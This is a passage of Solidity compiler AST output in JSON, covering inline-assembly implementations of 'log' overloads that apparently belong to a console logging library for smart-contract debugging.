210240:6:22","nodeType":"YulIdentifier","src":"210240:6:22"},"nativeSrc":"210240:16:22","nodeType":"YulFunctionCall","src":"210240:16:22"},"nativeSrc":"210240:16:22","nodeType":"YulExpressionStatement","src":"210240:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210276:4:22","nodeType":"YulLiteral","src":"210276:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"210282:2:22","nodeType":"YulIdentifier","src":"210282:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210269:6:22","nodeType":"YulIdentifier","src":"210269:6:22"},"nativeSrc":"210269:16:22","nodeType":"YulFunctionCall","src":"210269:16:22"},"nativeSrc":"210269:16:22","nodeType":"YulExpressionStatement","src":"210269:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210305:4:22","nodeType":"YulLiteral","src":"210305:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"210311:2:22","nodeType":"YulIdentifier","src":"210311:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210298:6:22","nodeType":"YulIdentifier","src":"210298:6:22"},"nativeSrc":"210298:16:22","nodeType":"YulFunctionCall","src":"210298:16:22"},"nativeSrc":"210298:16:22","nodeType":"YulExpressionStatement","src":"210298:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210334:4:22","nodeType":"YulLiteral","src":"210334:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"210340:2:22","nodeType":"YulIdentifier","src":"210340:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210327:6:22","nodeType":"YulIdentifier","src":"210327:6:22"},"nativeSrc":"210327:16:22","nodeType":"YulFunctionCall","src":"210327:16:22"},"nativeSrc":"210327:16:22","nodeType":"YulExpressionStatement","src":"210327:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"210363:4:22","nodeType":"YulLiteral","src":"210363:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"210369:2:22","nodeType":"YulIdentifier","src":"210369:2:22"}],"functionName":{"name":"mstore","nativeSrc":"210356:6:22","nodeType":"YulIdentifier","src":"210356:6:22"},"nativeSrc":"210356:16:22","nodeType":"YulFunctionCall","src":"210356:16:22"},"nativeSrc":"210356:16:22","nodeType":"YulExpressionStatement","src":"210356:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40678,"isOffset":false,"isSlot":false,"src":"210195:2:22","valueSize":1},{"declaration":40681,"isOffset":false,"isSlot":false,"src":"210224:2:22","valueSize":1},{"declaration":40684,"isOffset":false,"isSlot":false,"src":"210253:2:22","valueSize":1},{"declaration":40687,"isOffset":false,"isSlot":false,"src":"210282:2:22","valueSize":1},{"declaration":40690,"isOffset":false,"isSlot":false,"src":"210311:2:22","valueSize":1},{"declaration":40693,"isOffset":false,"isSlot":false,"src":"210340:2:22","valueSize":1},{"declaration":40696,"isOffset":false,"isSlot":false,"src":"210369:2:22","valueSize":1}],"id":40704,"nodeType":"InlineAssembly","src":"210159:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"209063:3:22","parameters":{"id":40675,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40668,"mutability":"mutable","name":"p0","nameLocation":"209072:2:22","nodeType":"VariableDeclaration","scope":40706,"src":"209067:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40667,"name":"bool","nodeType":"ElementaryTypeName","src":"209067:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40670,"mutability":"mutable","name":"p1","nameLocation":"209084:2:22","nodeType":"VariableDeclaration","scope":40706,"src":"209076:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40669,"name":"bytes32","nodeType":"ElementaryTypeName","src":"209076:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40672,"mutability":"mutable","name":"p2","nameLocation":"209096:2:22","nodeType":"VariableDeclaration","scope":40706,"src":"209088:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40671,"name":"address","nodeType":"ElementaryTypeName","src":"209088:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40674,"mutability":"mutable","name":"p3","nameLocation":"209108:2:22","nodeType":"VariableDeclaration","scope":40706,"src":"209100:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":40673,"name":"uint256","nodeType":"ElementaryTypeName","src":"209100:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"209066:45:22"},"returnParameters":{"id":40676,"nodeType":"ParameterList","parameters":[],"src":"209126:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40752,"nodeType":"FunctionDefinition","src":"210394:1530:22","nodes":[],"body":{"id":40751,"nodeType":"Block","src":"210466:1458:22","nodes":[],"statements":[{"assignments":[40718],"declarations":[{"constant":false,"id":40718,"mutability":"mutable","name":"m0","nameLocation":"210484:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210476:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40717,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210476:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40719,"nodeType":"VariableDeclarationStatement","src":"210476:10:22"},{"assignments":[40721],"declarations":[{"constant":false,"id":40721,"mutability":"mutable","name":"m1","nameLocation":"210504:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210496:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40720,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210496:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40722,"nodeType":"VariableDeclarationStatement","src":"210496:10:22"},{"assignments":[40724],"declarations":[{"constant":false,"id":40724,"mutability":"mutable","name":"m2","nameLocation":"210524:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210516:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210516:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40725,"nodeType":"VariableDeclarationStatement","src":"210516:10:22"},{"assignments":[40727],"declarations":[{"constant":false,"id":40727,"mutability":"mutable","name":"m3","nameLocation":"210544:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210536:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210536:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40728,"nodeType":"VariableDeclarationStatement","src":"210536:10:22"},{"assignments":[40730],"declarations":[{"constant":false,"id":40730,"mutability":"mutable","name":"m4","nameLocation":"210564:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210556:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40729,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210556:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40731,"nodeType":"VariableDeclarationStatement","src":"210556:10:22"},{"assignments":[40733],"declarations":[{"constant":false,"id":40733,"mutability":"mutable","name":"m5","nameLocation":"210584:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210576:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40732,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210576:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40734,"nodeType":"VariableDeclarationStatement","src":"210576:10:22"},{"assignments":[40736],"declarations":[{"constant":false,"id":40736,"mutability":"mutable","name":"m6","nameLocation":"210604:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210596:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40735,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210596:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40737,"nodeType":"VariableDeclarationStatement","src":"210596:10:22"},{"assignments":[40739],"declarations":[{"constant":false,"id":40739,"mutability":"mutable","name":"m7","nameLocation":"210624:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210616:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40738,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210616:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40740,"nodeType":"VariableDeclarationStatement","src":"210616:10:22"},{"assignments":[40742],"declarations":[{"constant":false,"id":40742,"mutability":"mutable","name":"m8","nameLocation":"210644:2:22","nodeType":"VariableDeclaration","scope":40751,"src":"210636:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40741,"name":"bytes32","nodeType":"ElementaryTypeName","src":"210636:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40743,"nodeType":"VariableDeclarationStatement","src":"210636:10:22"},{"AST":{"nativeSrc":"210665:924:22","nodeType":"YulBlock","src":"210665:924:22","statements":[{"body":{"nativeSrc":"210708:313:22","nodeType":"YulBlock","src":"210708:313:22","statements":[{"nativeSrc":"210726:15:22","nodeType":"YulVariableDeclaration","src":"210726:15:22","value":{"kind":"number","nativeSrc":"210740:1:22","nodeType":"YulLiteral","src":"210740:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"210730:6:22","nodeType":"YulTypedName","src":"210730:6:22","type":""}]},{"body":{"nativeSrc":"210811:40:22","nodeType":"YulBlock","src":"210811:40:22","statements":[{"body":{"nativeSrc":"210840:9:22","nodeType":"YulBlock","src":"210840:9:22","statements":[{"nativeSrc":"210842:5:22","nodeType":"YulBreak","src":"210842:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"210828:6:22","nodeType":"YulIdentifier","src":"210828:6:22"},{"name":"w","nativeSrc":"210836:1:22","nodeType":"YulIdentifier","src":"210836:1:22"}],"functionName":{"name":"byte","nativeSrc":"210823:4:22","nodeType":"YulIdentifier","src":"210823:4:22"},"nativeSrc":"210823:15:22","nodeType":"YulFunctionCall","src":"210823:15:22"}],"functionName":{"name":"iszero","nativeSrc":"210816:6:22","nodeType":"YulIdentifier","src":"210816:6:22"},"nativeSrc":"210816:23:22","nodeType":"YulFunctionCall","src":"210816:23:22"},"nativeSrc":"210813:36:22","nodeType":"YulIf","src":"210813:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"210768:6:22","nodeType":"YulIdentifier","src":"210768:6:22"},{"kind":"number","nativeSrc":"210776:4:22","nodeType":"YulLiteral","src":"210776:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"210765:2:22","nodeType":"YulIdentifier","src":"210765:2:22"},"nativeSrc":"210765:16:22","nodeType":"YulFunctionCall","src":"210765:16:22"},"nativeSrc":"210758:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"210782:28:22","nodeType":"YulBlock","src":"210782:28:22","statements":[{"nativeSrc":"210784:24:22","nodeType":"YulAssignment","src":"210784:24:22","value":{"arguments":[{"name":"length","nativeSrc":"210798:6:22","nodeType":"YulIdentifier","src":"210798:6:22"},{"kind":"number","nativeSrc":"210806:1:22","nodeType":"YulLiteral","src":"210806:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"210794:3:22","nodeType":"YulIdentifier","src":"210794:3:22"},"nativeSrc":"210794:14:22","nodeType":"YulFunctionCall","src":"210794:14:22"},"variableNames":[{"name":"length","nativeSrc":"210784:6:22","nodeType":"YulIdentifier","src":"210784:6:22"}]}]},"pre":{"nativeSrc":"210762:2:22","nodeType":"YulBlock","src":"210762:2:22","statements":[]},"src":"210758:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"210875:3:22","nodeType":"YulIdentifier","src":"210875:3:22"},{"name":"length","nativeSrc":"210880:6:22","nodeType":"YulIdentifier","src":"210880:6:22"}],"functionName":{"name":"mstore","nativeSrc":"210868:6:22","nodeType":"YulIdentifier","src":"210868:6:22"},"nativeSrc":"210868:19:22","nodeType":"YulFunctionCall","src":"210868:19:22"},"nativeSrc":"210868:19:22","nodeType":"YulExpressionStatement","src":"210868:19:22"},{"nativeSrc":"210904:37:22","nodeType":"YulVariableDeclaration","src":"210904:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"210921:3:22","nodeType":"YulLiteral","src":"210921:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"210930:1:22","nodeType":"YulLiteral","src":"210930:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"210933:6:22","nodeType":"YulIdentifier","src":"210933:6:22"}],"functionName":{"name":"shl","nativeSrc":"210926:3:22","nodeType":"YulIdentifier","src":"210926:3:22"},"nativeSrc":"210926:14:22","nodeType":"YulFunctionCall","src":"210926:14:22"}],"functionName":{"name":"sub","nativeSrc":"210917:3:22","nodeType":"YulIdentifier","src":"210917:3:22"},"nativeSrc":"210917:24:22","nodeType":"YulFunctionCall","src":"210917:24:22"},"variables":[{"name":"shift","nativeSrc":"210908:5:22","nodeType":"YulTypedName","src":"210908:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"210969:3:22","nodeType":"YulIdentifier","src":"210969:3:22"},{"kind":"number","nativeSrc":"210974:4:22","nodeType":"YulLiteral","src":"210974:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"210965:3:22","nodeType":"YulIdentifier","src":"210965:3:22"},"nativeSrc":"210965:14:22","nodeType":"YulFunctionCall","src":"210965:14:22"},{"arguments":[{"name":"shift","nativeSrc":"210985:5:22","nodeType":"YulIdentifier","src":"210985:5:22"},{"arguments":[{"name":"shift","nativeSrc":"210996:5:22","nodeType":"YulIdentifier","src":"210996:5:22"},{"name":"w","nativeSrc":"211003:1:22","nodeType":"YulIdentifier","src":"211003:1:22"}],"functionName":{"name":"shr","nativeSrc":"210992:3:22","nodeType":"YulIdentifier","src":"210992:3:22"},"nativeSrc":"210992:13:22","nodeType":"YulFunctionCall","src":"210992:13:22"}],"functionName":{"name":"shl","nativeSrc":"210981:3:22","nodeType":"YulIdentifier","src":"210981:3:22"},"nativeSrc":"210981:25:22","nodeType":"YulFunctionCall","src":"210981:25:22"}],"functionName":{"name":"mstore","nativeSrc":"210958:6:22","nodeType":"YulIdentifier","src":"210958:6:22"},"nativeSrc":"210958:49:22","nodeType":"YulFunctionCall","src":"210958:49:22"},"nativeSrc":"210958:49:22","nodeType":"YulExpressionStatement","src":"210958:49:22"}]},"name":"writeString","nativeSrc":"210679:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"210700:3:22","nodeType":"YulTypedName","src":"210700:3:22","type":""},{"name":"w","nativeSrc":"210705:1:22","nodeType":"YulTypedName","src":"210705:1:22","type":""}],"src":"210679:342:22"},{"nativeSrc":"211034:17:22","nodeType":"YulAssignment","src":"211034:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211046:4:22","nodeType":"YulLiteral","src":"211046:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"211040:5:22","nodeType":"YulIdentifier","src":"211040:5:22"},"nativeSrc":"211040:11:22","nodeType":"YulFunctionCall","src":"211040:11:22"},"variableNames":[{"name":"m0","nativeSrc":"211034:2:22","nodeType":"YulIdentifier","src":"211034:2:22"}]},{"nativeSrc":"211064:17:22","nodeType":"YulAssignment","src":"211064:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211076:4:22","nodeType":"YulLiteral","src":"211076:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"211070:5:22","nodeType":"YulIdentifier","src":"211070:5:22"},"nativeSrc":"211070:11:22","nodeType":"YulFunctionCall","src":"211070:11:22"},"variableNames":[{"name":"m1","nativeSrc":"211064:2:22","nodeType":"YulIdentifier","src":"211064:2:22"}]},{"nativeSrc":"211094:17:22","nodeType":"YulAssignment","src":"211094:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211106:4:22","nodeType":"YulLiteral","src":"211106:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"211100:5:22","nodeType":"YulIdentifier","src":"211100:5:22"},"nativeSrc":"211100:11:22","nodeType":"YulFunctionCall","src":"211100:11:22"},"variableNames":[{"name":"m2","nativeSrc":"211094:2:22","nodeType":"YulIdentifier","src":"211094:2:22"}]},{"nativeSrc":"211124:17:22","nodeType":"YulAssignment","src":"211124:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211136:4:22","nodeType":"YulLiteral","src":"211136:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"211130:5:22","nodeType":"YulIdentifier","src":"211130:5:22"},"nativeSrc":"211130:11:22","nodeType":"YulFunctionCall","src":"211130:11:22"},"variableNames":[{"name":"m3","nativeSrc":"211124:2:22","nodeType":"YulIdentifier","src":"211124:2:22"}]},{"nativeSrc":"211154:17:22","nodeType":"YulAssignment","src":"211154:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211166:4:22","nodeType":"YulLiteral","src":"211166:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"211160:5:22","nodeType":"YulIdentifier","src":"211160:5:22"},"nativeSrc":"211160:11:22","nodeType":"YulFunctionCall","src":"211160:11:22"},"variableNames":[{"name":"m4","nativeSrc":"211154:2:22","nodeType":"YulIdentifier","src":"211154:2:22"}]},{"nativeSrc":"211184:17:22","nodeType":"YulAssignment","src":"211184:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211196:4:22","nodeType":"YulLiteral","src":"211196:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"211190:5:22","nodeType":"YulIdentifier","src":"211190:5:22"},"nativeSrc":"211190:11:22","nodeType":"YulFunctionCall","src":"211190:11:22"},"variableNames":[{"name":"m5","nativeSrc":"211184:2:22","nodeType":"YulIdentifier","src":"211184:2:22"}]},{"nativeSrc":"211214:17:22","nodeType":"YulAssignment","src":"211214:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211226:4:22","nodeType":"YulLiteral","src":"211226:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"211220:5:22","nodeType":"YulIdentifier","src":"211220:5:22"},"nativeSrc":"211220:11:22","nodeType":"YulFunctionCall","src":"211220:11:22"},"variableNames":[{"name":"m6","nativeSrc":"211214:2:22","nodeType":"YulIdentifier","src":"211214:2:22"}]},{"nativeSrc":"211244:17:22","nodeType":"YulAssignment","src":"211244:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"211256:4:22","nodeType":"YulLiteral","src":"211256:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"211250:5:22","nodeType":"YulIdentifier","src":"211250:5:22"},"nativeSrc":"211250:11:22","nodeType":"YulFunctionCall","src":"211250:11:22"},"variableNames":[{"name":"m7","nativeSrc":"211244:2:22","nodeType":"YulIdentifier","src":"211244:2:22"}]},{"nativeSrc":"211274:18:22","nodeType":"YulAssignment","src":"211274:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"211286:5:22","nodeType":"YulLiteral","src":"211286:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"211280:5:22","nodeType":"YulIdentifier","src":"211280:5:22"},"nativeSrc":"211280:12:22","nodeType":"YulFunctionCall","src":"211280:12:22"},"variableNames":[{"name":"m8","nativeSrc":"211274:2:22","nodeType":"YulIdentifier","src":"211274:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211374:4:22","nodeType":"YulLiteral","src":"211374:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"211380:10:22","nodeType":"YulLiteral","src":"211380:10:22","type":"","value":"0x12d6c788"}],"functionName":{"name":"mstore","nativeSrc":"211367:6:22","nodeType":"YulIdentifier","src":"211367:6:22"},"nativeSrc":"211367:24:22","nodeType":"YulFunctionCall","src":"211367:24:22"},"nativeSrc":"211367:24:22","nodeType":"YulExpressionStatement","src":"211367:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211411:4:22","nodeType":"YulLiteral","src":"211411:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"211417:2:22","nodeType":"YulIdentifier","src":"211417:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211404:6:22","nodeType":"YulIdentifier","src":"211404:6:22"},"nativeSrc":"211404:16:22","nodeType":"YulFunctionCall","src":"211404:16:22"},"nativeSrc":"211404:16:22","nodeType":"YulExpressionStatement","src":"211404:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211440:4:22","nodeType":"YulLiteral","src":"211440:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"211446:4:22","nodeType":"YulLiteral","src":"211446:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"211433:6:22","nodeType":"YulIdentifier","src":"211433:6:22"},"nativeSrc":"211433:18:22","nodeType":"YulFunctionCall","src":"211433:18:22"},"nativeSrc":"211433:18:22","nodeType":"YulExpressionStatement","src":"211433:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211471:4:22","nodeType":"YulLiteral","src":"211471:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"211477:2:22","nodeType":"YulIdentifier","src":"211477:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211464:6:22","nodeType":"YulIdentifier","src":"211464:6:22"},"nativeSrc":"211464:16:22","nodeType":"YulFunctionCall","src":"211464:16:22"},"nativeSrc":"211464:16:22","nodeType":"YulExpressionStatement","src":"211464:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211500:4:22","nodeType":"YulLiteral","src":"211500:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"211506:4:22","nodeType":"YulLiteral","src":"211506:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"211493:6:22","nodeType":"YulIdentifier","src":"211493:6:22"},"nativeSrc":"211493:18:22","nodeType":"YulFunctionCall","src":"211493:18:22"},"nativeSrc":"211493:18:22","nodeType":"YulExpressionStatement","src":"211493:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211536:4:22","nodeType":"YulLiteral","src":"211536:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"211542:2:22","nodeType":"YulIdentifier","src":"211542:2:22"}],"functionName":{"name":"writeString","nativeSrc":"211524:11:22","nodeType":"YulIdentifier","src":"211524:11:22"},"nativeSrc":"211524:21:22","nodeType":"YulFunctionCall","src":"211524:21:22"},"nativeSrc":"211524:21:22","nodeType":"YulExpressionStatement","src":"211524:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211570:4:22","nodeType":"YulLiteral","src":"211570:4:22","type":"","value":"0xe0"},{"name":"p3","nativeSrc":"211576:2:22","nodeType":"YulIdentifier","src":"211576:2:22"}],"functionName":{"name":"writeString","nativeSrc":"211558:11:22","nodeType":"YulIdentifier","src":"211558:11:22"},"nativeSrc":"211558:21:22","nodeType":"YulFunctionCall","src":"211558:21:22"},"nativeSrc":"211558:21:22","nodeType":"YulExpressionStatement","src":"211558:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40718,"isOffset":false,"isSlot":false,"src":"211034:2:22","valueSize":1},{"declaration":40721,"isOffset":false,"isSlot":false,"src":"211064:2:22","valueSize":1},{"declaration":40724,"isOffset":false,"isSlot":false,"src":"211094:2:22","valueSize":1},{"declaration":40727,"isOffset":false,"isSlot":false,"src":"211124:2:22","valueSize":1},{"declaration":40730,"isOffset":false,"isSlot":false,"src":"211154:2:22","valueSize":1},{"declaration":40733,"isOffset":false,"isSlot":false,"src":"211184:2:22","valueSize":1},{"declaration":40736,"isOffset":false,"isSlot":false,"src":"211214:2:22","valueSize":1},{"declaration":40739,"isOffset":false,"isSlot":false,"src":"211244:2:22","valueSize":1},{"declaration":40742,"isOffset":false,"isSlot":false,"src":"211274:2:22","valueSize":1},{"declaration":40708,"isOffset":false,"isSlot":false,"src":"211417:2:22","valueSize":1},{"declaration":40710,"isOffset":false,"isSlot":false,"src":"211542:2:22","valueSize":1},{"declaration":40712,"isOffset":false,"isSlot":false,"src":"211477:2:22","valueSize":1},{"declaration":40714,"isOffset":false,"isSlot":false,"src":"211576:2:22","valueSize":1}],"id":40744,"nodeType":"InlineAssembly","src":"210656:933:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40746,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"211614:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":40747,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"211620:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":40745,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"211598:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40748,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"211598:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40749,"nodeType":"ExpressionStatement","src":"211598:28:22"},{"AST":{"nativeSrc":"211645:273:22","nodeType":"YulBlock","src":"211645:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"211666:4:22","nodeType":"YulLiteral","src":"211666:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"211672:2:22","nodeType":"YulIdentifier","src":"211672:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211659:6:22","nodeType":"YulIdentifier","src":"211659:6:22"},"nativeSrc":"211659:16:22","nodeType":"YulFunctionCall","src":"211659:16:22"},"nativeSrc":"211659:16:22","nodeType":"YulExpressionStatement","src":"211659:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211695:4:22","nodeType":"YulLiteral","src":"211695:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"211701:2:22","nodeType":"YulIdentifier","src":"211701:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211688:6:22","nodeType":"YulIdentifier","src":"211688:6:22"},"nativeSrc":"211688:16:22","nodeType":"YulFunctionCall","src":"211688:16:22"},"nativeSrc":"211688:16:22","nodeType":"YulExpressionStatement","src":"211688:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211724:4:22","nodeType":"YulLiteral","src":"211724:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"211730:2:22","nodeType":"YulIdentifier","src":"211730:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211717:6:22","nodeType":"YulIdentifier","src":"211717:6:22"},"nativeSrc":"211717:16:22","nodeType":"YulFunctionCall","src":"211717:16:22"},"nativeSrc":"211717:16:22","nodeType":"YulExpressionStatement","src":"211717:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211753:4:22","nodeType":"YulLiteral","src":"211753:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"211759:2:22","nodeType":"YulIdentifier","src":"211759:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211746:6:22","nodeType":"YulIdentifier","src":"211746:6:22"},"nativeSrc":"211746:16:22","nodeType":"YulFunctionCall","src":"211746:16:22"},"nativeSrc":"211746:16:22","nodeType":"YulExpressionStatement","src":"211746:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211782:4:22","nodeType":"YulLiteral","src":"211782:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"211788:2:22","nodeType":"YulIdentifier","src":"211788:2:22"}],"functionName":{"name":"mstore","nativeSrc":"211775:6:22","nodeType":"YulIdentifier","src":"211775:6:22"},"nativeSrc":"211775:16:22","nodeType":"YulFunctionCall","src":"211775:16:22"},"nativeSrc":"211775:16:22","nodeType":"YulExpressionStatement","src":"211775:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"211811:4:22","nodeType":"YulLiteral","src":"211811:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"211817:2:22","node